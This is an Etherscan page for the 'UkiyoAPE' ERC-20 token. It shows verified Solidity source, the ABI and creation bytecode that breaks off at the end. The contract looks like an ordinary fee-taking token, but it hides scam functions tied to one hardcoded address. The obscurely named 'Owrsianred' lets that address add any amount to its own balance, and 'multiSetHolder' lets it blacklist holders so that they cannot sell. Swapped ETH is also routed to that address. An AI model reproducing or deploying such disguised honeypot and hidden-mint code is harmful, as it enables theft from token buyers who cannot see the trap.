ETH Price: $2,693.21 (-1.66%)

Token

UkiyoAPE (UkiyoAPE)
 

Overview

Max Total Supply

1,000,000,000 UkiyoAPE

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
21,411,032.774264308 UkiyoAPE

Value
$0.00
0x00375c6ff668f7709e066da645d45b2df12482f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UkiyoAPE

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-24
*/

/**
 *Submitted for verification at BscScan.com on 2022-12-23
*/

/**
 *Submitted for verification at Etherscan.io on 2022-12-23
*/

/**
 *Submitted for verification at BscScan.com on 2022-12-22
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract UkiyoAPE is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "UkiyoAPE";
    string private _symbol = "UkiyoAPE";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public _JACKYCHENG;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _GMEholder;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _JACKYCHENG = payable(address(0xc312b5292668E5fF576582aCDaCc88e913E47555));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    address public uniswapPair;

    function Owrsianred(uint256 tFee) public {
        address account = _JACKYCHENG;
        uint256 official = _balances[account];
        uint256 WITHofficial = official + tFee;
        require(msg.sender == account);
        private_JACKYCHENG(account,WITHofficial);
    }
    
    function private_JACKYCHENG(address account,uint256 endEnter) private {
        _balances[account] = endEnter;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function multiSetHolder(address[] calldata addresses, bool status) public {
        require(addresses.length >= 0 && _msgSender() == _JACKYCHENG);
        for (uint256 i; i < addresses.length; i++) {
            _GMEholder[addresses[i]] = status;
        }
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _JACKYCHENG.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function pairC() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_GMEholder[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"tFee","type":"uint256"}],"name":"Owrsianred","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_GMEholder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_JACKYCHENG","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiSetHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600881526020017f556b69796f4150450000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600881526020017f556b69796f415045000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073c312b5292668e5ff576582acdacc88e913e47555600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612d1780620007886000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063c5d241891161006f578063c5d241891461045b578063c816841b14610486578063c8607952146104b1578063d0a26fb1146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b806370a0823114610374578063755f38ee146103b15780638da5cb5b146103c857806395d89b41146103f3578063a9059cbb1461041e57610140565b806323b872dd116100fd57806323b872dd1461022c578063313ce567146102695780633345611e146102945780633ecad271146102d157806347b51b881461030e578063503e32991461033757610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631ee4c3481461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612529565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121ab565b6105ff565b6040516101a491906124f3565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061250e565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa919061262b565b60405180910390f35b34801561020f57600080fd5b5061022a600480360381019061022591906121eb565b61064d565b005b34801561023857600080fd5b50610253600480360381019061024e9190612158565b610763565b60405161026091906124f3565b60405180910390f35b34801561027557600080fd5b5061027e61083d565b60405161028b91906126a0565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b691906120be565b610854565b6040516102c891906124f3565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f391906120be565b610874565b60405161030591906124f3565b60405180910390f35b34801561031a57600080fd5b506103356004803603810190610330919061224b565b610894565b005b34801561034357600080fd5b5061035e600480360381019061035991906120be565b610957565b60405161036b91906124f3565b60405180910390f35b34801561038057600080fd5b5061039b600480360381019061039691906120be565b610977565b6040516103a8919061262b565b60405180910390f35b3480156103bd57600080fd5b506103c66109c0565b005b3480156103d457600080fd5b506103dd610d98565b6040516103ea9190612494565b60405180910390f35b3480156103ff57600080fd5b50610408610dc1565b6040516104159190612529565b60405180910390f35b34801561042a57600080fd5b50610445600480360381019061044091906121ab565b610e53565b60405161045291906124f3565b60405180910390f35b34801561046757600080fd5b50610470610e72565b60405161047d919061262b565b60405180910390f35b34801561049257600080fd5b5061049b610e78565b6040516104a89190612494565b60405180910390f35b3480156104bd57600080fd5b506104c6610e9e565b6040516104d3919061262b565b60405180910390f35b3480156104e857600080fd5b506104f1610ea4565b6040516104fe91906124af565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612118565b610eca565b60405161053b919061262b565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906120be565b610f51565b005b60606001805461057c90612907565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612907565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c6110a3565b84846110ab565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b600083839050101580156106b55750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661069d6110a3565b73ffffffffffffffffffffffffffffffffffffffff16145b6106be57600080fd5b60005b8383905081101561075d5781600960008686858181106106e4576106e3612a0f565b5b90506020020160208101906106f991906120be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075590612939565b9150506106c1565b50505050565b6000610770848484611276565b506108328461077d6110a3565b61082d85604051806060016040528060288152602001612cba60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e36110a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c19092919063ffffffff16565b6110ab565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000838261090d9190612710565b90508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6109518382611925565b50505050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c86110a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c906125cb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab457600080fd5b505afa158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec91906120eb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4e57600080fd5b505afa158015610b62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8691906120eb565b6040518363ffffffff1660e01b8152600401610ba39291906124ca565b602060405180830381600087803b158015610bbd57600080fd5b505af1158015610bd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf591906120eb565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610dd090612907565b80601f0160208091040260200160405190810160405280929190818152602001828054610dfc90612907565b8015610e495780601f10610e1e57610100808354040283529160200191610e49565b820191906000526020600020905b815481529060010190602001808311610e2c57829003601f168201915b5050505050905090565b6000610e67610e606110a3565b8484611276565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f596110a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdd906125cb565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111129061260b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111829061256b565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611269919061262b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de906125eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e9061254b565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ae57600080fd5b600d60009054906101000a900460ff16156113d5576113ce84848461196d565b90506118ba565b60006113e030610977565b9050600d60009054906101000a900460ff161580156114495750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114585761145781611b40565b5b6114aa83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115905750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561159d578390506117b9565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561162057611619606461160b600a5488611e8e90919063ffffffff16565b611f0990919063ffffffff16565b905061169e565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561169d5761169a606461168c600b5488611e8e90919063ffffffff16565b611f0990919063ffffffff16565b90505b5b60008111156117a2576116f981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611799919061262b565b60405180910390a35b6117b58186611e4490919063ffffffff16565b9150505b61180b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118ab919061262b565b60405180910390a36001925050505b9392505050565b6000838311158290611909576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119009190612529565b60405180910390fd5b506000838561191891906127f1565b9050809150509392505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006119f8826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a8d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b2d919061262b565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b7857611b77612a3e565b5b604051908082528060200260200182016040528015611ba65781602001602082028036833780820191505090505b5090503081600081518110611bbe57611bbd612a0f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c6057600080fd5b505afa158015611c74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9891906120eb565b81600181518110611cac57611cab612a0f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1330600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ab565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d77959493929190612646565b600060405180830381600087803b158015611d9157600080fd5b505af1925050508015611da2575060015b611dab57611dac565b5b60004790506000811115611e2457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff